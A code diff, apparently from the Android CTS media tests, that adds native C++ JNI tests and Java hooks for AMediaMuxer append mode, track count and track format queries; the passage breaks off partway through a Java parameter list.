+    ALOGV("frameCount:%d", frameCount);
     AMediaExtractor_delete(extractor);
     fclose(ifp);
 }
@@ -213,11 +241,154 @@
     return true;
 }
 
+bool MuxerNativeTestHelper::writeAFewSamplesData(AMediaMuxer* muxer, uint32_t fromIndex,
+                                                        uint32_t toIndex) {
+    ALOGV("fromIndex:%u, toIndex:%u", fromIndex, toIndex);
+    // write all registered tracks in interleaved order
+    ALOGV("mTrackIdxOrder.size:%zu", mTrackIdxOrder.size());
+    if (fromIndex > toIndex || toIndex >= mTrackIdxOrder.size()) {
+        ALOGE("wrong index");
+        return false;
+    }
+    int* frameCount = new int[mTrackCount]{0};
+    for (int i = 0; i < fromIndex; ++i) {
+        ++frameCount[mInpIndexMap.at(mTrackIdxOrder[i])];
+    }
+    ALOGV("Initial samples skipped:");
+    for (int i = 0; i < mTrackCount; ++i) {
+        ALOGV("i:%d:%d", i, frameCount[i]);
+    }
+    for (int i = fromIndex; i <= toIndex; ++i) {
+        int trackID = mTrackIdxOrder[i];
+        int trackIndex = mInpIndexMap.at(trackID);
+        ALOGV("trackID:%d, trackIndex:%d, frameCount:%d", trackID, trackIndex,
+                        frameCount[trackIndex]);
+        AMediaCodecBufferInfo* info = mBufferInfo[trackIndex][frameCount[trackIndex]];
+        ALOGV("Got info offset:%d, size:%d", info->offset, info->size);
+        if (AMediaMuxer_writeSampleData(muxer, mOutIndexMap.at(trackIndex), mBuffer, info) !=
+            AMEDIA_OK) {
+            delete[] frameCount;
+            return false;
+        }
+        ALOGV("Track: %d Timestamp: %" PRId64 "", trackID, info->presentationTimeUs);
+        ++frameCount[trackIndex];
+    }
+    ALOGV("Last sample counts:");
+    for (int i = 0; i < mTrackCount; ++i) {
+        ALOGV("i:%d", frameCount[i]);
+    }
+    delete[] frameCount;
+    return true;
+}
+
+bool MuxerNativeTestHelper::writeAFewSamplesDataFromTime(AMediaMuxer* muxer, int64_t *fromTime,
+                                                            uint32_t numSamples, bool lastSplit) {
+    for(int tc = 0; tc < mTrackCount; ++tc) {
+        ALOGV("fromTime[%d]:%lld", tc, (long long)fromTime[tc]);
+    }
+    ALOGV("numSamples:%u", numSamples);
+    uint32_t samplesWritten = 0;
+    uint32_t i = 0;
+    int* frameCount = new int[mTrackCount]{0};
+    do {
+        int trackID = mTrackIdxOrder[i++];
+        int trackIndex = mInpIndexMap.at(trackID);
+        ALOGV("trackID:%d, trackIndex:%d, frameCount:%d", trackID, trackIndex,
+                                frameCount[trackIndex]);
+        AMediaCodecBufferInfo* info = mBufferInfo[trackIndex][frameCount[trackIndex]];
+        ++frameCount[trackIndex];
+        ALOGV("Got info offset:%d, size:%d, PTS:%" PRId64 "", info->offset, info->size,
+                                    info->presentationTimeUs);
+        if (info->presentationTimeUs < fromTime[trackID]) {
+            ALOGV("skipped");
+            continue;
+        }
+        if (AMediaMuxer_writeSampleData(muxer, mOutIndexMap.at(trackIndex), mBuffer, info) !=
+            AMEDIA_OK) {
+            delete[] frameCount;
+            return false;
+        } else {
+            ++samplesWritten;
+        }
+    } while ((lastSplit) ? (i < mTrackIdxOrder.size()) : ((samplesWritten < numSamples) &&
+                (i < mTrackIdxOrder.size())));
+    ALOGV("samplesWritten:%u", samplesWritten);
+
+    delete[] frameCount;
+    return true;
+}
+
+
 bool MuxerNativeTestHelper::muxMedia(AMediaMuxer* muxer) {
     return (registerTrack(muxer) && (AMediaMuxer_start(muxer) == AMEDIA_OK) &&
             insertSampleData(muxer) && (AMediaMuxer_stop(muxer) == AMEDIA_OK));
 }
 
+bool MuxerNativeTestHelper::appendMedia(AMediaMuxer *muxer, uint32_t fromIndex, uint32_t toIndex) {
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        ALOGV("fromIndex:%u, toIndex:%u", fromIndex, toIndex);
+        if (fromIndex == 0) {
+            registerTrack(muxer);
+        } else {
+            size_t trackCount = AMediaMuxer_getTrackCount(muxer);
+            ALOGV("appendMedia:trackCount:%zu", trackCount);
+            for(size_t i = 0; i < trackCount; ++i) {
+                ALOGV("track i:%zu", i);
+                ALOGV("%s", AMediaFormat_toString(AMediaMuxer_getTrackFormat(muxer, i)));
+                ALOGV("%s", AMediaFormat_toString(mFormat[i]));
+                for(size_t j = 0; j < mFormat.size(); ++j) {
+                    const char* thatMime = nullptr;
+                    AMediaFormat_getString(AMediaMuxer_getTrackFormat(muxer, i),
+                                                AMEDIAFORMAT_KEY_MIME, &thatMime);
+                    const char* thisMime = nullptr;
+                    AMediaFormat_getString(mFormat[j], AMEDIAFORMAT_KEY_MIME, &thisMime);
+                    ALOGV("strlen(thisMime)%zu", strlen(thisMime));
+                    if (strcmp(thatMime, thisMime) == 0) {
+                        ALOGV("appendMedia:i:%zu, j:%zu", i, j);
+                        mOutIndexMap[j]=i;
+                    }
+                }
+            }
+        }
+        AMediaMuxer_start(muxer);
+        bool res = writeAFewSamplesData(muxer, fromIndex, toIndex);
+        AMediaMuxer_stop(muxer);
+        return res;
+    } else {
+        return false;
+    }
+}
+
+bool MuxerNativeTestHelper::appendMediaFromTime(AMediaMuxer *muxer, int64_t *appendFromTime,
+                                                        uint32_t numSamples, bool lastSplit) {
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        size_t trackCount = AMediaMuxer_getTrackCount(muxer);
+        ALOGV("appendMediaFromTime:trackCount:%zu", trackCount);
+        for(size_t i = 0; i < trackCount; ++i) {
+            ALOGV("track i:%zu", i);
+            ALOGV("%s", AMediaFormat_toString(AMediaMuxer_getTrackFormat(muxer, i)));
+            ALOGV("%s", AMediaFormat_toString(mFormat[i]));
+            for(size_t j = 0; j < mFormat.size(); ++j) {
+                const char* thatMime = nullptr;
+                AMediaFormat_getString(AMediaMuxer_getTrackFormat(muxer, i),
+                                            AMEDIAFORMAT_KEY_MIME, &thatMime);
+                const char* thisMime = nullptr;
+                AMediaFormat_getString(mFormat[j], AMEDIAFORMAT_KEY_MIME, &thisMime);
+                ALOGV("strlen(thisMime)%zu", strlen(thisMime));
+                if (strcmp(thatMime, thisMime) == 0) {
+                    ALOGV("appendMediaFromTime:i:%zu, j:%zu", i, j);
+                    mOutIndexMap[j]=i;
+                }
+            }
+        }
+        AMediaMuxer_start(muxer);
+        bool res = writeAFewSamplesDataFromTime(muxer, appendFromTime, numSamples, lastSplit);
+        AMediaMuxer_stop(muxer);
+        return res;
+    } else {
+        return false;
+    }
+}
 bool MuxerNativeTestHelper::combineMedias(AMediaMuxer* muxer, MuxerNativeTestHelper* that,
                                           const int* repeater) {
     if (that == nullptr) return false;
@@ -261,7 +432,7 @@
     return (AMediaMuxer_stop(muxer) == AMEDIA_OK);
 }
 
-// returns true if 'this' stream is a subset of 'o'. That is all tracks in current media
+// returns true if 'this' stream is a subset of 'that'. That is all tracks in current media
 // stream are present in ref media stream
 bool MuxerNativeTestHelper::isSubsetOf(MuxerNativeTestHelper* that) {
     if (this == that) return true;
@@ -280,22 +451,32 @@
             AMediaFormat_getString(thatFormat, AMEDIAFORMAT_KEY_MIME, &thatMime);
             if (thisMime != nullptr && thatMime != nullptr && !strcmp(thisMime, thatMime)) {
                 if (!isFormatSimilar(thisFormat, thatFormat)) continue;
-                if (mBufferInfo[i].size() == that->mBufferInfo[j].size()) {
+                if (mBufferInfo[i].size() <= that->mBufferInfo[j].size()) {
+                    int tolerance =
+                            !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
+                    tolerance += 1; // rounding error
                     int k = 0;
                     for (; k < mBufferInfo[i].size(); k++) {
+                        ALOGV("k:%d", k);
                         AMediaCodecBufferInfo* thisInfo = mBufferInfo[i][k];
                         AMediaCodecBufferInfo* thatInfo = that->mBufferInfo[j][k];
                         if (thisInfo->flags != thatInfo->flags) {
+                            ALOGD("flags this:%u, that:%u", thisInfo->flags, thatInfo->flags);
                             break;
                         }
                         if (thisInfo->size != thatInfo->size) {
+                            ALOGD("size  this:%d, that:%d", thisInfo->size, thatInfo->size);
                             break;
                         } else if (memcmp(mBuffer + thisInfo->offset,
                                           that->mBuffer + thatInfo->offset, thisInfo->size)) {
+                            ALOGD("memcmp failed");
                             break;
                         }
                         if (abs(thisInfo->presentationTimeUs - thatInfo->presentationTimeUs) >
                             tolerance) {
+                            ALOGD("time this:%lld, that:%lld",
+                                    (long long)thisInfo->presentationTimeUs,
+                                    (long long)thatInfo->presentationTimeUs);
                             break;
                         }
                     }
@@ -711,12 +892,453 @@
     return static_cast<jboolean>(isPass);
 }
 
+/* Check whether AMediaMuxer_getTrackCount works as expected.
+ */
+static jboolean nativeTestGetTrackCount(JNIEnv* env, jobject, jstring jsrcPath, jstring jdstPath,
+                                            jint jformat, jint jtrackCount) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        const char* cdstPath = env->GetStringUTFChars(jdstPath, nullptr);
+        FILE* ofp = fopen(cdstPath, "w+");
+        if (ofp) {
+            AMediaMuxer *muxer = AMediaMuxer_new(fileno(ofp), (OutputFormat)jformat);
+            if (muxer) {
+                auto* mediaInfo = new MuxerNativeTestHelper(csrcPath);
+                if (!mediaInfo->registerTrack(muxer)) {
+                    isPass = false;
+                    ALOGE("register track failed");
+                }
+                if (AMediaMuxer_getTrackCount(muxer) != jtrackCount) {
+                    isPass = false;
+                    ALOGE("track counts are not equal");
+                }
+                delete mediaInfo;
+                AMediaMuxer_delete(muxer);
+            } else {
+                isPass = false;
+                ALOGE("Failed to create muxer");
+            }
+            fclose(ofp);
+        } else {
+            isPass = false;
+            ALOGE("file open error: file  %s", csrcPath);
+        }
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+        env->ReleaseStringUTFChars(jdstPath, cdstPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/* Check whether AMediaMuxer_getTrackCount works as expected when the file is opened in
+ * append mode.
+ */
+static jboolean nativeTestAppendGetTrackCount(JNIEnv* env, jobject, jstring jsrcPath,
+                                                        jint jtrackCount) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        for (unsigned int mode = AMEDIAMUXER_APPEND_IGNORE_LAST_VIDEO_GOP;
+                    mode <= AMEDIAMUXER_APPEND_TO_EXISTING_DATA; ++mode) {
+            ALOGV("mode:%u", mode);
+            FILE* ofp = fopen(csrcPath, "r");
+            if (ofp) {
+                AMediaMuxer *muxer = AMediaMuxer_append(fileno(ofp), (AppendMode)mode);
+                if (muxer) {
+                    ssize_t trackCount = AMediaMuxer_getTrackCount(muxer);
+                    if ( trackCount != jtrackCount) {
+                        isPass = false;
+                        ALOGE("trackcounts are not equal, trackCount:%ld vs jtrackCount:%d",
+                                    (long)trackCount, jtrackCount);
+                    }
+                    AMediaMuxer_delete(muxer);
+                } else {
+                    isPass = false;
+                    ALOGE("Failed to create muxer");
+                }
+                fclose(ofp);
+                ofp = nullptr;
+            } else {
+                isPass = false;
+                ALOGE("file open error: file  %s", csrcPath);
+            }
+        }
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/* Checks whether AMediaMuxer_getTrackFormat works as expected in muxer mode.
+ */
+static jboolean nativeTestGetTrackFormat(JNIEnv* env, jobject, jstring jsrcPath, jstring jdstPath,
+                                                    jint joutFormat) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        const char* cdstPath = env->GetStringUTFChars(jdstPath, nullptr);
+        FILE* ofp = fopen(cdstPath, "w+");
+        if (ofp) {
+            AMediaMuxer *muxer = AMediaMuxer_new(fileno(ofp), (OutputFormat)joutFormat);
+            if (muxer) {
+                auto* mediaInfo = new MuxerNativeTestHelper(csrcPath);
+                if (!mediaInfo->registerTrack(muxer)) {
+                    isPass = false;
+                    ALOGE("register track failed");
+                }
+                for(int i = 0 ; i < mediaInfo->getTrackCount(); ++i ) {
+                    if (!isFormatSimilar(mediaInfo->getTrackFormat(i),
+                            AMediaMuxer_getTrackFormat(muxer, i))) {
+                        isPass = false;
+                        ALOGE("track formats are not similar");
+                    }
+                }
+                delete mediaInfo;
+                AMediaMuxer_delete(muxer);
+            } else {
+                isPass = false;
+                ALOGE("Failed to create muxer");
+            }
+            fclose(ofp);
+        } else {
+            isPass = false;
+            ALOGE("file open error: file  %s", csrcPath);
+        }
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+        env->ReleaseStringUTFChars(jdstPath, cdstPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/* Checks whether AMediaMuxer_getTrackFormat works as expected when the file is opened in
+ * append mode.
+ */
+static jboolean nativeTestAppendGetTrackFormat(JNIEnv* env, jobject, jstring jsrcPath) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        for (unsigned int mode = AMEDIAMUXER_APPEND_IGNORE_LAST_VIDEO_GOP;
+                    mode <= AMEDIAMUXER_APPEND_TO_EXISTING_DATA; ++mode) {
+            ALOGV("mode:%u", mode);
+            FILE* ofp = fopen(csrcPath, "r");
+            if (ofp) {
+                AMediaMuxer *muxer = AMediaMuxer_append(fileno(ofp), (AppendMode)mode);
+                if (muxer) {
+                    auto* mediaInfo = new MuxerNativeTestHelper(csrcPath);
+                    for(int i = 0 ; i < mediaInfo->getTrackCount(); ++i ) {
+                        if (!isFormatSimilar(mediaInfo->getTrackFormat(i),
+                                AMediaMuxer_getTrackFormat(muxer, i))) {
+                            isPass = false;
+                            ALOGE("track formats are not similar");
+                        }
+                    }
+                    delete mediaInfo;
+                    AMediaMuxer_delete(muxer);
+                } else {
+                    isPass = false;
+                    ALOGE("Failed to create muxer");
+                }
+                fclose(ofp);
+            } else {
+                isPass = false;
+                ALOGE("file open error: file  %s", csrcPath);
+            }
+        }
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    }
+    else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/*
+ * Checks if appending media data to the end of existing media data in a file works good.
+ * Mode : AMEDIAMUXER_APPEND_TO_EXISTING_DATA.  Splits the contents of source file equally
+ * starting from one and increasing the number of splits by one for every iteration.  Starts
+ * with writing first split into a new file and appends the rest of the contents split by split.
+ */
+static jboolean nativeTestSimpleAppend(JNIEnv* env, jobject, jint joutFormat, jstring jsrcPath,
+                        jstring jdstPath) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        const char* cdstPath = env->GetStringUTFChars(jdstPath, nullptr);
+        ALOGV("csrcPath:%s", csrcPath);
+        ALOGV("cdstPath:%s", cdstPath);
+        auto* mediaInfo = new MuxerNativeTestHelper(csrcPath);
+        for (int numSplits = 1; numSplits <= 5; ++numSplits) {
+            ALOGV("numSplits:%d", numSplits);
+            size_t totalSampleCount = 0;
+            AMediaMuxer *muxer = nullptr;
+            // Start by writing first split into a new file.
+            FILE* ofp = fopen(cdstPath, "w+");
+            if (ofp) {
+                muxer = AMediaMuxer_new(fileno(ofp), (OutputFormat)joutFormat);
+                if (muxer) {
+                    for(int i = 0 ; i < mediaInfo->getTrackCount(); ++i ) {
+                        ALOGV("getSampleCount:%d:%zu", i, mediaInfo->getSampleCount(i));
+                        totalSampleCount += mediaInfo->getSampleCount(i);
+                    }
+                    mediaInfo->appendMedia(muxer, 0, (totalSampleCount/numSplits)-1);
+                    AMediaMuxer_delete(muxer);
+                } else {
+                    isPass = false;
+                    ALOGE("Failed to create muxer");
+                }
+                fclose(ofp);
+                ofp = nullptr;
+                // Check if the contents in the new file is as same as in the source file.
+                if (isPass) {
+                    auto* mediaInfoDest = new MuxerNativeTestHelper(cdstPath, nullptr);
+                    isPass = mediaInfoDest->isSubsetOf(mediaInfo);
+                    delete mediaInfoDest;
+                }
+            } else {
+                isPass = false;
+                ALOGE("failed to open output file %s", cdstPath);
+            }
+
+            // Append rest of the contents from the source file to the new file split by split.
+            int curSplit = 1;
+            while (curSplit < numSplits && isPass) {
+                ofp = fopen(cdstPath, "r+");
+                if (ofp) {
+                    muxer = AMediaMuxer_append(fileno(ofp), AMEDIAMUXER_APPEND_TO_EXISTING_DATA);
+                    if (muxer) {
+                        ssize_t trackCount = AMediaMuxer_getTrackCount(muxer);
+                        if (trackCount > 0) {
+                            decltype(trackCount) tc = 0;
+                            while(tc < trackCount) {
+                                AMediaFormat* format = AMediaMuxer_getTrackFormat(muxer, tc);
+                                int64_t val = 0;
+                                if (AMediaFormat_getInt64(format,
+                                            AMEDIAFORMAT_KEY_SAMPLE_TIME_BEFORE_APPEND, &val)) {
+                                    ALOGV("sample-time-before-append:%lld", (long long)val);
+                                }
+                                ++tc;
+                            }
+                            mediaInfo->appendMedia(muxer, totalSampleCount*curSplit/numSplits,
+                                                        totalSampleCount*(curSplit+1)/numSplits-1);
+                        } else {
+                            isPass = false;
+                            ALOGE("no tracks in the file");
+                        }
+                        AMediaMuxer_delete(muxer);
+                    } else {
+                        isPass = false;
+                        ALOGE("failed to create muxer");
+                    }
+                    fclose(ofp);
+                    ofp = nullptr;
+                    if (isPass) {
+                        auto* mediaInfoDest = new MuxerNativeTestHelper(cdstPath, nullptr);
+                        isPass = mediaInfoDest->isSubsetOf(mediaInfo);
+                        delete mediaInfoDest;
+                    }
+                } else {
+                    isPass = false;
+                    ALOGE("failed to open output file %s", cdstPath);
+                }
+                ++curSplit;
+            }
+        }
+        delete mediaInfo;
+        env->ReleaseStringUTFChars(jdstPath, cdstPath);
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/* Checks if opening a file to append data and closing it without actually appending data
+ * works good in all append modes.
+ */
+static jboolean nativeTestNoSamples(JNIEnv* env, jobject, jint joutFormat, jstring jinPath,
+                                        jstring joutPath) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* cinPath = env->GetStringUTFChars(jinPath, nullptr);
+        const char* coutPath = env->GetStringUTFChars(joutPath, nullptr);
+        ALOGV("cinPath:%s", cinPath);
+        ALOGV("coutPath:%s", coutPath);
+        auto* mediaInfo = new MuxerNativeTestHelper(cinPath);
+        for (unsigned int mode = AMEDIAMUXER_APPEND_IGNORE_LAST_VIDEO_GOP;
+                    mode <= AMEDIAMUXER_APPEND_TO_EXISTING_DATA; ++mode) {
+            if (mediaInfo->getTrackCount() != 0) {
+                // Create a new file and write media data to it.
+                FILE *ofp = fopen(coutPath, "wbe+");
+                if (ofp) {
+                    AMediaMuxer *muxer = AMediaMuxer_new(fileno(ofp), (OutputFormat) joutFormat);
+                    mediaInfo->muxMedia(muxer);
+                    AMediaMuxer_delete(muxer);
+                    fclose(ofp);
+                } else {
+                    isPass = false;
+                    ALOGE("failed to open output file %s", coutPath);
+                }
+            } else {
+                isPass = false;
+                ALOGE("no tracks in input file");
+            }
+            ALOGV("after file close");
+            FILE* ofp = fopen(coutPath, "r+");
+            if (ofp) {
+                ALOGV("create append muxer");
+                // Open the new file in one of the append modes and close it without writing data.
+                AMediaMuxer *muxer = AMediaMuxer_append(fileno(ofp), (AppendMode)mode);
+                if (muxer) {
+                    AMediaMuxer_start(muxer);
+                    AMediaMuxer_stop(muxer);
+                    ALOGV("delete append muxer");
+                    AMediaMuxer_delete(muxer);
+                } else {
+                    isPass = false;
+                    ALOGE("failed to create muxer");
+                }
+                fclose(ofp);
+                ofp = nullptr;
+            } else {
+                isPass = false;
+                ALOGE("failed to open output file to append %s", coutPath);
+            }
+            // Check if contents written in the new file match with contents in the original file.
+            auto* mediaInfoOut = new MuxerNativeTestHelper(coutPath, nullptr);
+            isPass = mediaInfoOut->isSubsetOf(mediaInfo);
+            delete mediaInfoOut;
+        }
+        delete mediaInfo;
+        env->ReleaseStringUTFChars(jinPath, cinPath);
+        env->ReleaseStringUTFChars(joutPath, coutPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
+/*
+ * Checks if appending media data in AMEDIAMUXER_APPEND_IGNORE_LAST_VIDEO_GOP mode works good.
+ * Splits the contents of source file equally starting from one and increasing the number of
+ * splits by one for every iteration.  Starts with writing first split into a new file and
+ * appends the rest of the contents split by split.
+ */
+static jboolean nativeTestIgnoreLastGOPAppend(JNIEnv* env, jobject, jint joutFormat,
+                                    jstring jsrcPath, jstring jdstPath) {
+    bool isPass = true;
+    if (__builtin_available(android __TRANSCODING_MIN_API__, *)) {
+        const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
+        const char* cdstPath = env->GetStringUTFChars(jdstPath, nullptr);
+        ALOGV("csrcPath:%s", csrcPath);
+        ALOGV("cdstPath:%s", cdstPath);
+        auto* mediaInfo = new MuxerNativeTestHelper(csrcPath);
+        for (int numSplits = 1; numSplits <= 5 && isPass; ++numSplits) {
+            ALOGV("numSplits:%d", numSplits);
+            size_t totalSampleCount = 0;
+            size_t totalSamplesWritten = 0;
+            AMediaMuxer *muxer = nullptr;
+            FILE* ofp = fopen(cdstPath, "w+");
+            if (ofp) {
+                // Start by writing first split into a new file.
+                muxer = AMediaMuxer_new(fileno(ofp), (OutputFormat)joutFormat);
+                if (muxer) {
+                    for(int i = 0 ; i < mediaInfo->getTrackCount(); ++i ) {
+                        ALOGV("getSampleCount:%d:%zu", i, mediaInfo->getSampleCount(i));
+                        totalSampleCount += mediaInfo->getSampleCount(i);
+                    }
+                    mediaInfo->appendMedia(muxer, 0, (totalSampleCount/numSplits)-1);
+                    totalSamplesWritten += (totalSampleCount/numSplits);
+                    AMediaMuxer_delete(muxer);
+                } else {
+                    isPass = false;
+                    ALOGE("Failed to create muxer");
+                }
+                fclose(ofp);
+                ofp = nullptr;
+                if (isPass) {
+                    // Check if the contents in the new file is as same as in the source file.
+                    auto* mediaInfoDest = new MuxerNativeTestHelper(cdstPath, nullptr);
+                    isPass = mediaInfoDest->isSubsetOf(mediaInfo);
+                    delete mediaInfoDest;
+                }
+            } else {
+                isPass = false;
+                ALOGE("failed to open output file %s", cdstPath);
+            }
+
+            // Append rest of the contents from the source file to the new file split by split.
+            int curSplit = 1;
+            while (curSplit < numSplits && isPass) {
+                ofp = fopen(cdstPath, "r+");
+                if (ofp) {
+                    muxer = AMediaMuxer_append(fileno(ofp),
+                                AMEDIAMUXER_APPEND_IGNORE_LAST_VIDEO_GOP);
+                    if (muxer) {
+                        auto trackCount = AMediaMuxer_getTrackCount(muxer);
+                        if (trackCount > 0) {
+                            decltype(trackCount) tc = 0;
+                            int64_t* appendFromTime = new int64_t[trackCount]{0};
+                            while(tc < trackCount) {
+                                AMediaFormat* format = AMediaMuxer_getTrackFormat(muxer, tc);
+                                int64_t val = 0;
+                                if (AMediaFormat_getInt64(format,
+                                            AMEDIAFORMAT_KEY_SAMPLE_TIME_BEFORE_APPEND, &val)) {
+                                    ALOGV("sample-time-before-append:%lld", (long long)val);
+                                    appendFromTime[tc] = val;
+                                }
+                                ++tc;
+                            }
+                            bool lastSplit = (curSplit == numSplits-1) ? true : false;
+                            mediaInfo->appendMediaFromTime(muxer, appendFromTime,
+                                totalSampleCount/numSplits + ((curSplit-1) * 30), lastSplit);
+                            delete[] appendFromTime;
+                        } else {
+                            isPass = false;
+                            ALOGE("no tracks in the file");
+                        }
+                        AMediaMuxer_delete(muxer);
+                    } else {
+                        isPass = false;
+                        ALOGE("failed to create muxer");
+                    }
+                    fclose(ofp);
+                    ofp = nullptr;
+                    if (isPass) {
+                        auto* mediaInfoDest = new MuxerNativeTestHelper(cdstPath, nullptr);
+                        isPass = mediaInfoDest->isSubsetOf(mediaInfo);
+                        delete mediaInfoDest;
+                    }
+                } else {
+                    isPass = false;
+                    ALOGE("failed to open output file %s", cdstPath);
+                }
+                ++curSplit;
+            }
+        }
+        delete mediaInfo;
+        env->ReleaseStringUTFChars(jdstPath, cdstPath);
+        env->ReleaseStringUTFChars(jsrcPath, csrcPath);
+    } else {
+        isPass = false;
+    }
+    return static_cast<jboolean>(isPass);
+}
+
 int registerAndroidMediaV2CtsMuxerTestApi(JNIEnv* env) {
     const JNINativeMethod methodTable[] = {
             {"nativeTestSetOrientationHint", "(ILjava/lang/String;Ljava/lang/String;)Z",
              (void*)nativeTestSetOrientationHint},
             {"nativeTestSetLocation", "(ILjava/lang/String;Ljava/lang/String;)Z",
              (void*)nativeTestSetLocation},
+            {"nativeTestGetTrackCount", "(Ljava/lang/String;Ljava/lang/String;II)Z",
+             (void*)nativeTestGetTrackCount},
+            {"nativeTestGetTrackFormat", "(Ljava/lang/String;Ljava/lang/String;I)Z",
+             (void*)nativeTestGetTrackFormat},
     };
     jclass c = env->FindClass("android/mediav2/cts/MuxerTest$TestApi");
     return env->RegisterNatives(c, methodTable, sizeof(methodTable) / sizeof(JNINativeMethod));
@@ -751,6 +1373,27 @@
     return env->RegisterNatives(c, methodTable, sizeof(methodTable) / sizeof(JNINativeMethod));
 }
 
+int registerAndroidMediaV2CtsMuxerTestSimpleAppend(JNIEnv* env) {
+    const JNINativeMethod methodTable[] = {
+            {"nativeTestSimpleAppend",
+             "(ILjava/lang/String;Ljava/lang/String;)Z",
+             (void*)nativeTestSimpleAppend},
+            {"nativeTestAppendGetTrackCount",
+             "(Ljava/lang/String;I)Z",
+             (void*)nativeTestAppendGetTrackCount},
+            {"nativeTestAppendGetTrackFormat", "(Ljava/lang/String;)Z",
+             (void*)nativeTestAppendGetTrackFormat},
+             {"nativeTestNoSamples",
+              "(ILjava/lang/String;Ljava/lang/String;)Z",
+              (void*)nativeTestNoSamples},
+            {"nativeTestIgnoreLastGOPAppend",
+             "(ILjava/lang/String;Ljava/lang/String;)Z",
+             (void*)nativeTestIgnoreLastGOPAppend},
+    };
+    jclass c = env->FindClass("android/mediav2/cts/MuxerTest$TestSimpleAppend");
+    return env->RegisterNatives(c, methodTable, sizeof(methodTable) / sizeof(JNINativeMethod));
+}
+
 extern int registerAndroidMediaV2CtsMuxerUnitTestApi(JNIEnv* env);
 
 extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
@@ -760,6 +1403,7 @@
     if (registerAndroidMediaV2CtsMuxerTestMultiTrack(env) != JNI_OK) return JNI_ERR;
     if (registerAndroidMediaV2CtsMuxerTestOffsetPts(env) != JNI_OK) return JNI_ERR;
     if (registerAndroidMediaV2CtsMuxerTestSimpleMux(env) != JNI_OK) return JNI_ERR;
+    if (registerAndroidMediaV2CtsMuxerTestSimpleAppend(env) != JNI_OK) return JNI_ERR;
     if (registerAndroidMediaV2CtsMuxerUnitTestApi(env) != JNI_OK) return JNI_ERR;
     return JNI_VERSION_1_6;
 }
diff --git a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
index 8cc987e..188afc4 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
@@ -963,5 +963,17 @@
             assertTrue(nativeTestIfNullLocationIsRejectedBySetDataSource());
         }
         private native boolean nativeTestIfNullLocationIsRejectedBySetDataSource();
+
+        @Test
+        public void testVideoSampleFileOffsetByGetSampleFormat() {
+            assertTrue(nativeTestVideoSampleFileOffsetByGetSampleFormat(mInpPrefix + mInpMedia));
+        }
+        private native boolean nativeTestVideoSampleFileOffsetByGetSampleFormat(String srcPath);
+
+        @Test
+        public void testAudioSampleFileOffsetByGetSampleFormat() {
+            assertTrue(nativeTestAudioSampleFileOffsetByGetSampleFormat(mInpPrefix + mInpMedia));
+        }
+        private native boolean nativeTestAudioSampleFileOffsetByGetSampleFormat(String srcPath);
     }
 }
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index dd5f795..6e32dac 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -21,6 +21,7 @@
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaMuxer;
+import android.os.Build;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
@@ -427,6 +428,7 @@
         private String mSrcFile;
         private String mInpPath;
         private String mOutPath;
+        private int mTrackCount;
         private static final float annapurnaLat = 28.59f;
         private static final float annapurnaLong = 83.82f;
         private static final float TOLERANCE = 0.0002f;
@@ -447,23 +449,26 @@
             new File(mOutPath).delete();
         }
 
-        @Parameterized.Parameters(name = "{index}({2})")
+        @Parameterized.Parameters(name = "{index}({3})")
         public static Collection<Object[]> input() {
             return Arrays.asList(new Object[][]{
                     {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, "bbb_cif_768kbps_30fps_avc.mp4",
-                            "mp4"},
+                            1, "mp4"},
                     {MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM, "bbb_cif_768kbps_30fps_vp9.mkv",
-                            "webm"},
+                            1, "webm"},
                     {MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP, "bbb_cif_768kbps_30fps_h263.mp4",
-                            "3gpp"},
+                            1, "3gpp"},
                     {MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG, "bbb_stereo_48kHz_192kbps_opus.ogg",
-                            "ogg"},
+                            1, "ogg"},
+                    {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
